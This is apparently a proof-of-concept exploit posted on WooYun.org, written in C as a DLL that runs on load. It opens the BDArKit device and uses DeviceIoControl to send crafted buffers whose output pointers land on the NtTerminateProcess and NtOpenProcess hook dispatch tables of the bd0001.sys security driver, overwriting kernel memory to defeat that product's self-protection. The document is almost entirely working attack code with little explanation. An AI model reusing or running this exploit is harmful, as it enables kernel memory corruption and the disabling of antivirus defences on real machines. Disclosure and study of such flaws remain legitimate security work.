WooYun.org

DWORD GetDriverBase(CHAR* pName)
{
	typedef struct _SYSTEM_MODULE_INFORMATION {
		ULONG Reserved [2]; 
		PVOID Base; 
		ULONG Size; 
		ULONG Flags; 
		USHORT Index; 
		USHORT Unknown; 
		USHORT LoadCount; 
		USHORT ModuleNameOffset; 
		CHAR ImageName [256 ]; 
	} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; 
	typedef LONG (WINAPI* FN_ZwQuerySystemInformation)(ULONG, PVOID, ULONG, PULONG);
	FN_ZwQuerySystemInformation fn = 
		(FN_ZwQuerySystemInformation)GetProcAddress(GetModuleHandle(_T("ntdll")), "ZwQuerySystemInformation");
	if(!fn)
		return 0;
	DWORD dwBase = 0;
	CHAR* pBuffer = new CHAR[0x10000];
	memset(pBuffer, 0, 0x10000);
	ULONG cb = 0;
	LONG l = (*fn)(11, pBuffer, 0x10000, &cb);
	if(0 == l)
	{
		ULONG count = *((ULONG*)pBuffer);
		PSYSTEM_MODULE_INFORMATION pInfo = (PSYSTEM_MODULE_INFORMATION)(pBuffer + sizeof(ULONG));
		for (ULONG i = 0; i < count; ++i)
		{
			if('\0' != pInfo[i].ImageName[0])
			{
				strlwr(pInfo[i].ImageName);
			
				if(pName && strstr(pInfo[i].ImageName, pName))
				{
					dwBase = (DWORD)pInfo[i].Base;
					break;
				}
			}
		}
	}
	delete pBuffer;
	return dwBase;
}
void Fuzz2(HANDLE hDev)
{
	DWORD bd0001Base = GetDriverBase("bd0001.sys");
	if(!bd0001Base)
		return;
	DWORD code = 0x222028;
	char inputBuff[0x1000] = { 0 };
	DWORD inputLen = 0xfc4;
	DWORD dwReturned = 0;
	DWORD a[] = {0x0000000a,0xfc4};
	for(DWORD i = 0; i < sizeof(a)/sizeof(*a); ++i)
	{
		*((DWORD*)(inputBuff + 4*i)) = a[i];
	}
	DeviceIoControl(hDev,
		code, 
		(LPVOID)inputBuff,
		inputLen, 
		(LPVOID)(bd0001Base + 0x14e80), // NtTerminateProcess的Hook函数分发表
		0, 
		&dwReturned,
		NULL);
	DeviceIoControl(hDev,
		code, 
		(LPVOID)inputBuff,
		inputLen, 
		(LPVOID)(bd0001Base + 0x132a8), // NtOpenProcess的Hook函数分发表
		0, 
		&dwReturned,
		NULL);
}
void Fuzz1()
{
	LPCTSTR DevName = _T("\\\\.\\BDArKit");
	HANDLE hDev = CreateFile(DevName,
		GENERIC_READ,
		FILE_SHARE_READ|FILE_SHARE_WRITE,
		NULL,
		OPEN_EXISTING,
		FILE_ATTRIBUTE_NORMAL,
		NULL);
	if(INVALID_HANDLE_VALUE != hDev)
	{
		Fuzz2(hDev);
		CloseHandle(hDev);
	}
}
BOOL DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
					 )
{
    Fuzz1();
    return TRUE;
}